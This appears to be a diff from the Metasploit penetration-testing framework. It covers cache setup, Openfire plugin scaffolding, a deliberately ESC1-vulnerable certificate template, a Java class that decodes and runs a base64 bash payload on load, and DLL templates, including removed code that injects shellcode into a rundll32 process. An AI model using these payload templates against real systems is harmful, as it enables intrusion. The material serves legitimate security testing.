`database.yml.example` might be useful for those looking to configure their database, and `openssl.conf`
might be helpful for those trying to troubleshoot OpenSSL issues in Metasploit.
+1 -1
View File
@@ -47,7 +47,7 @@ module Metasploit
when "test"
config.eager_load = false
when "production"
config.eager_load = true
config.eager_load = false
end
if ActiveRecord.respond_to?(:legacy_connection_handling=)
+61
View File
@@ -38,3 +38,64 @@ lib_path = root.join('lib').to_path
unless $LOAD_PATH.include? lib_path
$LOAD_PATH.unshift lib_path
end
require 'digest'
require 'metasploit/framework/version'
require 'msf/base/config'
# Invalidate and delete the bootsnap cache if required. For instance if the metasploit-framework version has changed.
#
# @param [Hash] bootsnap_config See https://github.com/Shopify/bootsnap/blob/95e8d170aea99a831fd484ce09ad2f195644e740/lib/bootsnap.rb#L38
# @return [void]
def invalidate_bootsnap_cache!(bootsnap_config)
expected_cache_metadata = {
'metasploit_framework_version' => Metasploit::Framework::Version::VERSION,
'ruby_description' => RUBY_DESCRIPTION,
'bundler_lockfile_hash' => Digest::MD5.hexdigest(Bundler.read_file(Bundler.default_lockfile)),
'bootsnap_config' => {
'load_path_cache' => bootsnap_config[:load_path_cache],
'compile_cache_iseq' => bootsnap_config[:compile_cache_iseq],
'compile_cache_yaml' => bootsnap_config[:compile_cache_yaml],
}
}
cache_metadata_path = File.join(bootsnap_config[:cache_dir], "metadata.yaml")
if File.exist?(cache_metadata_path)
cache_metadata = YAML.safe_load(File.binread(cache_metadata_path))
if cache_metadata != expected_cache_metadata
FileUtils.rm_rf(bootsnap_config[:cache_dir], secure: true)
end
end
FileUtils.mkdir_p(bootsnap_config[:cache_dir])
File.binwrite(cache_metadata_path, expected_cache_metadata.to_yaml)
nil
end
# Attempt to use bootsnap caching for improved startup time
begin
require 'bootsnap'
env = ENV['RAILS_ENV'] || ENV['RACK_ENV'] || ENV['ENV']
development_mode = ['', nil, 'development'].include?(env)
cache_dir = ::File.join(Msf::Config.config_directory, "bootsnap_cache")
bootsnap_config = {
cache_dir: cache_dir,
ignore_directories: [],
development_mode: development_mode,
load_path_cache: true, # Optimize the LOAD_PATH with a cache
compile_cache_iseq: false, # Don't compile Ruby code into ISeq cache, breaks coverage reporting.
compile_cache_yaml: false, # Don't compile YAML into a cache
readonly: false, # Update caches - https://github.com/Shopify/bootsnap/commit/b51397f96c33aa421fd5c29484fb9574df9eb451
}
invalidate_bootsnap_cache!(bootsnap_config)
Bootsnap.setup(**bootsnap_config)
rescue => e
$stderr.puts "Warning: Failed bootsnap cache setup - #{e.class} #{e} #{e.backtrace}"
begin
FileUtils.rm_rf(cache_dir, secure: true)
rescue
$stderr.puts 'Warning: Failed deleting bootsnap cache'
end
end
+7
View File
@@ -0,0 +1,7 @@
This folder contains various data files used for a variety of purposes, including but not limited to banners for the
console, exploit source code for exploits (under `data/exploits`), template code and binaries, wordlists and shellcode.
As a general rule of thumb this folder will most often be used when you are using compiled binaries or source code from
other exploits for cases such as local privilege escalation exploits and need to provide the exploit code and compiled
binaries so that maintainers can verify the binary and compile it themselves, as so that modules can find the R7 compiled
version of the resulting binary for use during exploitation.
@@ -0,0 +1,27 @@
---
# Creates a template that will be vulnerable to ESC 1 (subject name supplied in
# the request). Fields are based on the SubCA template. For field descriptions,
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
showInAdvancedViewOnly: 'TRUE'
# this security descriptor grants all permissions to all authenticated users
nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
flags: 0
pKIDefaultKeySpec: 2
pKIKeyUsage: !binary |-
hgA=
pKIMaxIssuingDepth: -1
pKICriticalExtensions:
- 2.5.29.19
- 2.5.29.15
pKIExpirationPeriod: !binary |-
AEAepOhl+v8=
pKIOverlapPeriod: !binary |-
AICmCv/e//8=
pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0
msPKI-RA-Signature: 0
msPKI-Enrollment-Flag: 0
# CT_FLAG_EXPORTABLE_KEY
msPKI-Private-Key-Flag: 0x10
# CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
msPKI-Certificate-Name-Flag: 1
msPKI-Minimal-Key-Size: 2048
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,11 @@
import java.util.Base64;
public class PayloadRuns {
static {
try {
Runtime.getRuntime().exec("bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}");
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
+69
View File
@@ -0,0 +1,69 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>Example plugin changelog</title>
<style type="text/css">
BODY {
font-size : 100%;
}
BODY, TD, TH {
font-family : tahoma, verdana, arial, helvetica, sans-serif;
font-size : 0.8em;
}
H2 {
font-size : 10pt;
font-weight : bold;
}
A:hover {
text-decoration : none;
}
H1 {
font-family : tahoma, arial, helvetica, sans-serif;
font-size : 1.4em;
font-weight: bold;
border-bottom : 1px #ccc solid;
padding-bottom : 2px;
}
TT {
font-family : courier new;
font-weight : bold;
color : #060;
}
PRE {
font-family : courier new;
font-size : 100%;
}
.events TH {
font-size: 8pt;
font-family: verdana;
font-weight: bold;
text-align: left;
background-color: #eee;
border-bottom: 1px #ccc solid;
}
.events .event {
font-weight: bold;
}
.events TD {
border-bottom: 1px #ccc dotted;
vertical-align: top;
}
</style>
</head>
<body>
<h1>
Example plugin
</h1>
<h2>Todo</h2>
<p>
Add changelog content here
</p>
</body>
</html>
Binary file not shown.
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1021 B

+10
View File
@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="UTF-8"?>
<plugin>
<class>com.example.openfire.plugin.Example</class>
<name>PLUGINNAME</name>
<description>PLUGINDESCRIPTION</description>
<author>PLUGINAUTHOR</author>
<version>1.0.0</version>
<date>7/7/2008</date>
<minServerVersion>3.5.0</minServerVersion>
</plugin>
+69
View File
@@ -0,0 +1,69 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>Example plugin readme</title>
<style type="text/css">
BODY {
font-size : 100%;
}
BODY, TD, TH {
font-family : tahoma, verdana, arial, helvetica, sans-serif;
font-size : 0.8em;
}
H2 {
font-size : 10pt;
font-weight : bold;
}
A:hover {
text-decoration : none;
}
H1 {
font-family : tahoma, arial, helvetica, sans-serif;
font-size : 1.4em;
font-weight: bold;
border-bottom : 1px #ccc solid;
padding-bottom : 2px;
}
TT {
font-family : courier new;
font-weight : bold;
color : #060;
}
PRE {
font-family : courier new;
font-size : 100%;
}
.events TH {
font-size: 8pt;
font-family: verdana;
font-weight: bold;
text-align: left;
background-color: #eee;
border-bottom: 1px #ccc solid;
}
.events .event {
font-weight: bold;
}
.events TD {
border-bottom: 1px #ccc dotted;
vertical-align: top;
}
</style>
</head>
<body>
<h1>
Example plugin
</h1>
<h2>Todo</h2>
<p>
Add readme content here
</p>
</body>
</html>
+7
View File
@@ -117,6 +117,13 @@
<%= normalize_pull_requests(items[:mod_pull_requests]) %>
<%- attacker_kb_references = normalize_attackerkb_references(items[:mod_refs]) %>
<% unless attacker_kb_references.empty? %>
## AttackerKB references
<%= attacker_kb_references %>
<% end %>
<% unless items[:mod_refs].empty? %>
## References
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
+615
View File
@@ -0,0 +1,615 @@
[
"V3_0_0_SNAPSHOT",
"V3_0_0_ALPHA1",
"V3_0_0_BETA1",
"V3_0_0_BETA2",
"V3_0_0_BETA3",
"V3_0_0_BETA4",
"V3_0_0_BETA5",
"V3_0_0_BETA6_SNAPSHOT",
"V3_0_0_BETA6",
"V3_0_0_BETA7_SNAPSHOT",
"V3_0_0_BETA7",
"V3_0_0_BETA8_SNAPSHOT",
"V3_0_0_BETA8",
"V3_0_0_BETA9_SNAPSHOT",
"V3_0_0_BETA9",
"V3_0_0_FINAL",
"V3_0_1_SNAPSHOT",
"V3_0_1",
"V3_0_2_SNAPSHOT",
"V3_0_2",
"V3_0_3_SNAPSHOT",
"V3_0_3",
"V3_0_4_SNAPSHOT",
"V3_0_4",
"V3_0_5_SNAPSHOT",
"V3_0_5",
"V3_0_6_SNAPSHOT",
"V3_0_6",
"V3_0_7_SNAPSHOT",
"V3_0_7",
"V3_0_8_SNAPSHOT",
"V3_0_8",
"V3_0_9_SNAPSHOT",
"V3_0_9",
"V3_0_10_SNAPSHOT",
"V3_0_10",
"V3_0_11_SNAPSHOT",
"V3_0_11",
"V3_0_12_SNAPSHOT",
"V3_0_12",
"V3_0_13_SNAPSHOT",
"V3_0_13",
"V3_0_14_SNAPSHOT",
"V3_0_14",
"V3_0_15_SNAPSHOT",
"V3_0_15",
"V3_1_0_SNAPSHOT",
"V3_1_0",
"V3_1_1_SNAPSHOT",
"V3_1_1",
"V3_1_2_SNAPSHOT",
"V3_1_2",
"V3_1_3_SNAPSHOT",
"V3_1_3",
"V3_1_4_SNAPSHOT",
"V3_1_4",
"V3_1_5_SNAPSHOT",
"V3_1_5",
"V3_1_6_SNAPSHOT",
"V3_1_6",
"V3_1_7_SNAPSHOT",
"V3_1_7",
"V3_1_8_SNAPSHOT",
"V3_1_8",
"V3_1_9_SNAPSHOT",
"V3_1_9",
"V3_2_0_SNAPSHOT",
"V3_2_0",
"V3_2_1_SNAPSHOT",
"V3_2_1",
"V3_2_2_SNAPSHOT",
"V3_2_2",
"V3_2_3_SNAPSHOT",
"V3_2_3",
"V3_2_4_SNAPSHOT",
"V3_2_4",
"V3_2_5_SNAPSHOT",
"V3_2_5",
"V3_2_6_SNAPSHOT",
"V3_2_6",
"V3_2_7_SNAPSHOT",
"V3_2_7",
"V3_2_8_SNAPSHOT",
"V3_2_8",
"V3_2_9_SNAPSHOT",
"V3_2_9",
"V3_3_1_SNAPSHOT",
"V3_3_1",
"V3_3_2_SNAPSHOT",
"V3_3_2",
"V3_3_3_SNAPSHOT",
"V3_3_3",
"V3_3_4_SNAPSHOT",
"V3_3_4",
"V3_3_5_SNAPSHOT",
"V3_3_5",
"V3_3_6_SNAPSHOT",
"V3_3_6",
"V3_3_7_SNAPSHOT",
"V3_3_7",
"V3_3_8_SNAPSHOT",
"V3_3_8",
"V3_3_9_SNAPSHOT",
"V3_3_9",
"V3_4_1_SNAPSHOT",
"V3_4_1",
"V3_4_2_SNAPSHOT",
"V3_4_2",
"V3_4_3_SNAPSHOT",
"V3_4_3",
"V3_4_4_SNAPSHOT",
"V3_4_4",
"V3_4_5_SNAPSHOT",
"V3_4_5",
"V3_4_6_SNAPSHOT",
"V3_4_6",
"V3_4_7_SNAPSHOT",
"V3_4_7",
"V3_4_8_SNAPSHOT",
"V3_4_8",
"V3_4_9_SNAPSHOT",
"V3_4_9",
"V3_5_1_SNAPSHOT",
"V3_5_1",
"V3_5_2_SNAPSHOT",
"V3_5_2",
"V3_5_3_SNAPSHOT",
"V3_5_3",
"V3_5_4_SNAPSHOT",
"V3_5_4",
"V3_5_5_SNAPSHOT",
"V3_5_5",
"V3_5_6_SNAPSHOT",
"V3_5_6",
"V3_5_7_SNAPSHOT",
"V3_5_7",
"V3_5_8_SNAPSHOT",
"V3_5_8",
"V3_5_9_SNAPSHOT",
"V3_5_9",
"V3_6_1_SNAPSHOT",
"V3_6_1",
"V3_6_2_SNAPSHOT",
"V3_6_2",
"V3_6_3_SNAPSHOT",
"V3_6_3",
"V3_6_4_SNAPSHOT",
"V3_6_4",
"V3_6_5_SNAPSHOT",
"V3_6_5",
"V3_6_6_SNAPSHOT",
"V3_6_6",
"V3_6_7_SNAPSHOT",
"V3_6_7",
"V3_6_8_SNAPSHOT",
"V3_6_8",
"V3_6_9_SNAPSHOT",
"V3_6_9",
"V3_7_1_SNAPSHOT",
"V3_7_1",
"V3_7_2_SNAPSHOT",
"V3_7_2",
"V3_7_3_SNAPSHOT",
"V3_7_3",
"V3_7_4_SNAPSHOT",
"V3_7_4",
"V3_7_5_SNAPSHOT",
"V3_7_5",
"V3_7_6_SNAPSHOT",
"V3_7_6",
"V3_7_7_SNAPSHOT",
"V3_7_7",
"V3_7_8_SNAPSHOT",
"V3_7_8",
"V3_7_9_SNAPSHOT",
"V3_7_9",
"V3_8_1_SNAPSHOT",
"V3_8_1",
"V3_8_2_SNAPSHOT",
"V3_8_2",
"V3_8_3_SNAPSHOT",
"V3_8_3",
"V3_8_4_SNAPSHOT",
"V3_8_4",
"V3_8_5_SNAPSHOT",
"V3_8_5",
"V3_8_6_SNAPSHOT",
"V3_8_6",
"V3_8_7_SNAPSHOT",
"V3_8_7",
"V3_8_8_SNAPSHOT",
"V3_8_8",
"V3_8_9_SNAPSHOT",
"V3_8_9",
"V3_9_1_SNAPSHOT",
"V3_9_1",
"V3_9_2_SNAPSHOT",
"V3_9_2",
"V3_9_3_SNAPSHOT",
"V3_9_3",
"V3_9_4_SNAPSHOT",
"V3_9_4",
"V3_9_5_SNAPSHOT",
"V3_9_5",
"V3_9_6_SNAPSHOT",
"V3_9_6",
"V3_9_7_SNAPSHOT",
"V3_9_7",
"V3_9_8_SNAPSHOT",
"V3_9_8",
"V3_9_9_SNAPSHOT",
"V3_9_9",
"V4_0_0_SNAPSHOT",
"V4_0_0",
"V4_0_1_SNAPSHOT",
"V4_0_1",
"V4_0_2_SNAPSHOT",
"V4_0_2",
"V4_0_3_SNAPSHOT",
"V4_0_3",
"V4_0_4_SNAPSHOT",
"V4_0_4",
"V4_0_5_SNAPSHOT",
"V4_0_5",
"V4_0_6_SNAPSHOT",
"V4_0_6",
"V4_0_7_SNAPSHOT",
"V4_0_7",
"V4_0_8_SNAPSHOT",
"V4_0_8",
"V4_0_9_SNAPSHOT",
"V4_0_9",
"V4_1_0_SNAPSHOT",
"V4_1_0",
"V4_1_1_SNAPSHOT",
"V4_1_1",
"V4_1_2_SNAPSHOT",
"V4_1_2",
"V4_1_3_SNAPSHOT",
"V4_1_3",
"V4_1_4_SNAPSHOT",
"V4_1_4",
"V4_1_5_SNAPSHOT",
"V4_1_5",
"V4_1_6_SNAPSHOT",
"V4_1_6",
"V4_1_7_SNAPSHOT",
"V4_1_7",
"V4_1_8_SNAPSHOT",
"V4_1_8",
"V4_1_9_SNAPSHOT",
"V4_1_9",
"V4_2_0_SNAPSHOT",
"V4_2_0",
"V4_2_1_SNAPSHOT",
"V4_2_1",
"V4_2_2_SNAPSHOT",
"V4_2_2",
"V4_2_3_SNAPSHOT",
"V4_2_3",
"V4_2_4_SNAPSHOT",
"V4_2_4",
"V4_2_5_SNAPSHOT",
"V4_2_5",
"V4_2_6_SNAPSHOT",
"V4_2_6",
"V4_2_7_SNAPSHOT",
"V4_2_7",
"V4_2_8_SNAPSHOT",
"V4_2_8",
"V4_2_9_SNAPSHOT",
"V4_2_9",
"V4_3_0_SNAPSHOT",
"V4_3_0",
"V4_3_1_SNAPSHOT",
"V4_3_1",
"V4_3_2_SNAPSHOT",
"V4_3_2",
"V4_3_3_SNAPSHOT",
"V4_3_3",
"V4_3_4_SNAPSHOT",
"V4_3_4",
"V4_3_5_SNAPSHOT",
"V4_3_5",
"V4_3_6_SNAPSHOT",
"V4_3_6",
"V4_3_7_SNAPSHOT",
"V4_3_7",
"V4_3_8_SNAPSHOT",
"V4_3_8",
"V4_3_9_SNAPSHOT",
"V4_3_9",
"V4_4_0_SNAPSHOT",
"V4_4_0",
"V4_4_1_SNAPSHOT",
"V4_4_1",
"V4_4_2_SNAPSHOT",
"V4_4_2",
"V4_4_3_SNAPSHOT",
"V4_4_3",
"V4_4_4_SNAPSHOT",
"V4_4_4",
"V4_4_5_SNAPSHOT",
"V4_4_5",
"V4_4_6_SNAPSHOT",
"V4_4_6",
"V4_4_7_SNAPSHOT",
"V4_4_7",
"V4_4_8_SNAPSHOT",
"V4_4_8",
"V4_4_9_SNAPSHOT",
"V4_4_9",
"V4_5_0_SNAPSHOT",
"V4_5_0",
"V4_5_1_SNAPSHOT",
"V4_5_1",
"V4_5_2_SNAPSHOT",
"V4_5_2",
"V4_5_3_SNAPSHOT",
"V4_5_3",
"V4_5_4_SNAPSHOT",
"V4_5_4",
"V4_5_5_SNAPSHOT",
"V4_5_5",
"V4_5_6_SNAPSHOT",
"V4_5_6",
"V4_5_7_SNAPSHOT",
"V4_5_7",
"V4_5_8_SNAPSHOT",
"V4_5_8",
"V4_5_9_SNAPSHOT",
"V4_5_9",
"V4_6_0_SNAPSHOT",
"V4_6_0",
"V4_6_1_SNAPSHOT",
"V4_6_1",
"V4_6_2_SNAPSHOT",
"V4_6_2",
"V4_6_3_SNAPSHOT",
"V4_6_3",
"V4_6_4_SNAPSHOT",
"V4_6_4",
"V4_6_5_SNAPSHOT",
"V4_6_5",
"V4_6_6_SNAPSHOT",
"V4_6_6",
"V4_6_7_SNAPSHOT",
"V4_6_7",
"V4_6_8_SNAPSHOT",
"V4_6_8",
"V4_6_9_SNAPSHOT",
"V4_6_9",
"V4_7_0_SNAPSHOT",
"V4_7_0",
"V4_7_1_SNAPSHOT",
"V4_7_1",
"V4_7_2_SNAPSHOT",
"V4_7_2",
"V4_7_3_SNAPSHOT",
"V4_7_3",
"V4_7_4_SNAPSHOT",
"V4_7_4",
"V4_7_5_SNAPSHOT",
"V4_7_5",
"V4_7_6_SNAPSHOT",
"V4_7_6",
"V4_7_7_SNAPSHOT",
"V4_7_7",
"V4_7_8_SNAPSHOT",
"V4_7_8",
"V4_7_9_SNAPSHOT",
"V4_7_9",
"V4_8_0_SNAPSHOT",
"V4_8_0",
"V4_8_1_SNAPSHOT",
"V4_8_1",
"V4_8_2_SNAPSHOT",
"V4_8_2",
"V4_8_3_SNAPSHOT",
"V4_8_3",
"V4_8_4_SNAPSHOT",
"V4_8_4",
"V4_8_5_SNAPSHOT",
"V4_8_5",
"V4_8_6_SNAPSHOT",
"V4_8_6",
"V4_8_7_SNAPSHOT",
"V4_8_7",
"V4_8_8_SNAPSHOT",
"V4_8_8",
"V4_8_9_SNAPSHOT",
"V4_8_9",
"V4_9_0_SNAPSHOT",
"V4_9_0",
"V4_9_1_SNAPSHOT",
"V4_9_1",
"V4_9_2_SNAPSHOT",
"V4_9_2",
"V4_9_3_SNAPSHOT",
"V4_9_3",
"V4_9_4_SNAPSHOT",
"V4_9_4",
"V4_9_5_SNAPSHOT",
"V4_9_5",
"V4_9_6_SNAPSHOT",
"V4_9_6",
"V4_9_7_SNAPSHOT",
"V4_9_7",
"V4_9_8_SNAPSHOT",
"V4_9_8",
"V4_9_9_SNAPSHOT",
"V4_9_9",
"V5_0_0_SNAPSHOT",
"V5_0_0",
"V5_0_1_SNAPSHOT",
"V5_0_1",
"V5_0_2_SNAPSHOT",
"V5_0_2",
"V5_0_3_SNAPSHOT",
"V5_0_3",
"V5_0_4_SNAPSHOT",
"V5_0_4",
"V5_0_5_SNAPSHOT",
"V5_0_5",
"V5_0_6_SNAPSHOT",
"V5_0_6",
"V5_0_7_SNAPSHOT",
"V5_0_7",
"V5_0_8_SNAPSHOT",
"V5_0_8",
"V5_0_9_SNAPSHOT",
"V5_0_9",
"V5_1_0_SNAPSHOT",
"V5_1_0",
"V5_1_1_SNAPSHOT",
"V5_1_1",
"V5_1_2_SNAPSHOT",
"V5_1_2",
"V5_1_3_SNAPSHOT",
"V5_1_3",
"V5_1_4_SNAPSHOT",
"V5_1_4",
"V5_1_5_SNAPSHOT",
"V5_1_5",
"V5_1_6_SNAPSHOT",
"V5_1_6",
"V5_1_7_SNAPSHOT",
"V5_1_7",
"V5_1_8_SNAPSHOT",
"V5_1_8",
"V5_1_9_SNAPSHOT",
"V5_1_9",
"V5_2_0_SNAPSHOT",
"V5_2_0",
"V5_2_1_SNAPSHOT",
"V5_2_1",
"V5_2_2_SNAPSHOT",
"V5_2_2",
"V5_2_3_SNAPSHOT",
"V5_2_3",
"V5_2_4_SNAPSHOT",
"V5_2_4",
"V5_2_5_SNAPSHOT",
"V5_2_5",
"V5_2_6_SNAPSHOT",
"V5_2_6",
"V5_2_7_SNAPSHOT",
"V5_2_7",
"V5_2_8_SNAPSHOT",
"V5_2_8",
"V5_2_9_SNAPSHOT",
"V5_2_9",
"V5_3_0_SNAPSHOT",
"V5_3_0",
"V5_3_1_SNAPSHOT",
"V5_3_1",
"V5_3_2_SNAPSHOT",
"V5_3_2",
"V5_3_3_SNAPSHOT",
"V5_3_3",
"V5_3_4_SNAPSHOT",
"V5_3_4",
"V5_3_5_SNAPSHOT",
"V5_3_5",
"V5_3_6_SNAPSHOT",
"V5_3_6",
"V5_3_7_SNAPSHOT",
"V5_3_7",
"V5_3_8_SNAPSHOT",
"V5_3_8",
"V5_3_9_SNAPSHOT",
"V5_3_9",
"V5_4_0_SNAPSHOT",
"V5_4_0",
"V5_4_1_SNAPSHOT",
"V5_4_1",
"V5_4_2_SNAPSHOT",
"V5_4_2",
"V5_4_3_SNAPSHOT",
"V5_4_3",
"V5_4_4_SNAPSHOT",
"V5_4_4",
"V5_4_5_SNAPSHOT",
"V5_4_5",
"V5_4_6_SNAPSHOT",
"V5_4_6",
"V5_4_7_SNAPSHOT",
"V5_4_7",
"V5_4_8_SNAPSHOT",
"V5_4_8",
"V5_4_9_SNAPSHOT",
"V5_4_9",
"V5_5_0_SNAPSHOT",
"V5_5_0",
"V5_5_1_SNAPSHOT",
"V5_5_1",
"V5_5_2_SNAPSHOT",
"V5_5_2",
"V5_5_3_SNAPSHOT",
"V5_5_3",
"V5_5_4_SNAPSHOT",
"V5_5_4",
"V5_5_5_SNAPSHOT",
"V5_5_5",
"V5_5_6_SNAPSHOT",
"V5_5_6",
"V5_5_7_SNAPSHOT",
"V5_5_7",
"V5_5_8_SNAPSHOT",
"V5_5_8",
"V5_5_9_SNAPSHOT",
"V5_5_9",
"V5_6_0_SNAPSHOT",
"V5_6_0",
"V5_6_1_SNAPSHOT",
"V5_6_1",
"V5_6_2_SNAPSHOT",
"V5_6_2",
"V5_6_3_SNAPSHOT",
"V5_6_3",
"V5_6_4_SNAPSHOT",
"V5_6_4",
"V5_6_5_SNAPSHOT",
"V5_6_5",
"V5_6_6_SNAPSHOT",
"V5_6_6",
"V5_6_7_SNAPSHOT",
"V5_6_7",
"V5_6_8_SNAPSHOT",
"V5_6_8",
"V5_6_9_SNAPSHOT",
"V5_6_9",
"V5_7_0_SNAPSHOT",
"V5_7_0",
"V5_7_1_SNAPSHOT",
"V5_7_1",
"V5_7_2_SNAPSHOT",
"V5_7_2",
"V5_7_3_SNAPSHOT",
"V5_7_3",
"V5_7_4_SNAPSHOT",
"V5_7_4",
"V5_7_5_SNAPSHOT",
"V5_7_5",
"V5_7_6_SNAPSHOT",
"V5_7_6",
"V5_7_7_SNAPSHOT",
"V5_7_7",
"V5_7_8_SNAPSHOT",
"V5_7_8",
"V5_7_9_SNAPSHOT",
"V5_7_9",
"V5_8_0_SNAPSHOT",
"V5_8_0",
"V5_8_1_SNAPSHOT",
"V5_8_1",
"V5_8_2_SNAPSHOT",
"V5_8_2",
"V5_8_3_SNAPSHOT",
"V5_8_3",
"V5_8_4_SNAPSHOT",
"V5_8_4",
"V5_8_5_SNAPSHOT",
"V5_8_5",
"V5_8_6_SNAPSHOT",
"V5_8_6",
"V5_8_7_SNAPSHOT",
"V5_8_7",
"V5_8_8_SNAPSHOT",
"V5_8_8",
"V5_8_9_SNAPSHOT",
"V5_8_9",
"V5_9_0_SNAPSHOT",
"V5_9_0",
"V5_9_1_SNAPSHOT",
"V5_9_1",
"V5_9_2_SNAPSHOT",
"V5_9_2",
"V5_9_3_SNAPSHOT",
"V5_9_3",
"V5_9_4_SNAPSHOT",
"V5_9_4",
"V5_9_5_SNAPSHOT",
"V5_9_5",
"V5_9_6_SNAPSHOT",
"V5_9_6",
"V5_9_7_SNAPSHOT",
"V5_9_7",
"V5_9_8_SNAPSHOT",
"V5_9_8",
"V5_9_9_SNAPSHOT",
"V5_9_9",
"HIGHER_VERSION"
]
+10
View File
@@ -0,0 +1,10 @@
# PE Source Code
This directory contains the source code for the PE executable templates.
## Building DLLs
Use the provided `build_dlls.bat` file, and run it from within the Visual Studio
developer console. The batch file requires that the `%VCINSTALLDIR%` environment
variable be defined (which it should be by default). The build script will
create both the x86 and x64 templates before moving them into the correct
folder. The current working directory when the build is run must be the source
code directory (`pe`).
+7
View File
@@ -0,0 +1,7 @@
@echo off
for /D %%d in (dll*) do (
pushd "%%d"
build.bat
popd
)
+4 -3
View File
@@ -3,12 +3,13 @@
if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib /entry:DllMain /subsystem:WINDOWS
rc /v template.rc
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 template.c /Fe:template_%1_windows.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
exit /B
:NO_ARGUMENTS
%COMSPEC% /c "%0" x86
%COMSPEC% /c "%0" x64
del *.obj
del *.obj *.res
move *.dll ..\..\..
+2 -1
View File
@@ -1,5 +1,6 @@
#ifndef SCSIZE
#define SCSIZE 4096
#endif
unsigned char code[SCSIZE] = "PAYLOAD:";
char szSyncNameS[MAX_PATH] = "Local\\Semaphore:Default\0";
char szSyncNameE[MAX_PATH] = "Local\\Event:Default\0";
@@ -0,0 +1,15 @@
@echo off
if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
rc /v /fo template.res ../dll/template.rc
cl /LD /GS- /DBUILDMODE=2 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
exit /B
:NO_ARGUMENTS
%COMSPEC% /c "%0" x86
%COMSPEC% /c "%0" x64
del *.exp *.lib *.res *.obj
move *.dll ..\..\..
@@ -1,24 +0,0 @@
#
# XXX: NOTE: this will only compile the x86 version.
#
# To compile the x64 version, use:
# C:\> call "c:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\vcvarsall.bat" amd64
# C:\> cl.exe -LD /Zl /GS- /DBUILDMODE=2 /link /entry:DllMain kernel32.lib
#
if [ -z "$PREFIX" ]; then
PREFIX=i686-w64-mingw32
fi
rm -f *.o *.dll
$PREFIX-gcc -c template.c
$PREFIX-windres -o rc.o template.rc
$PREFIX-gcc -mdll -o junk.tmp -Wl,--base-file,base.tmp template.o rc.o
rm -f junk.tmp
$PREFIX-dlltool --dllname template_x86_windows.dll --base-file base.tmp --output-exp temp.exp #--def template.def
rm -f base.tmp
$PREFIX-gcc -mdll -o template_x86_windows.dll template.o rc.o -Wl,temp.exp
rm -f temp.exp
$PREFIX-strip template_x86_windows.dll
rm -f *.o
@@ -1,6 +1,3 @@
#define SCSIZE 2048
unsigned char code[SCSIZE] = "PAYLOAD:";
#ifdef _MSC_VER
#pragma comment (linker, "/export:GdipAlloc=c:/windows/system32/gdiplus.GdipAlloc,@34")
#pragma comment (linker, "/export:GdipCloneBrush=c:/windows/system32/gdiplus.GdipCloneBrush,@46")
@@ -1,97 +0,0 @@
#include <windows.h>
#include "template.h"
/* hand-rolled bzero allows us to avoid including ms vc runtime */
void inline_bzero(void *p, size_t l)
{
BYTE *q = (BYTE *)p;
size_t x = 0;
for (x = 0; x < l; x++)
*(q++) = 0x00;
}
void ExecutePayload(void);
BOOL WINAPI
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
ExecutePayload();
break;
case DLL_PROCESS_DETACH:
// Code to run when the DLL is freed
break;
case DLL_THREAD_ATTACH:
// Code to run when a thread is created during the DLL's lifetime
break;
case DLL_THREAD_DETACH:
// Code to run when a thread ends normally.
break;
}
return TRUE;
}
void ExecutePayload(void) {
int error;
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT ctx;
DWORD prot;
LPVOID ep;
// Start up the payload in a new process
inline_bzero( &si, sizeof( si ));
si.cb = sizeof(si);
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
#ifdef _WIN64
ctx.Rip = (DWORD64)ep;
#else
ctx.Eip = (DWORD)ep;
#endif
SetThreadContext(pi.hThread,&ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
// ExitProcess(0);
ExitThread(0);
}
/*
typedef VOID
(NTAPI *PIMAGE_TLS_CALLBACK) (
PVOID DllHandle,
ULONG Reason,
PVOID Reserved
);
VOID NTAPI TlsCallback(
IN PVOID DllHandle,
IN ULONG Reason,
IN PVOID Reserved)
{
__asm ( "int3" );
}
ULONG _tls_index;
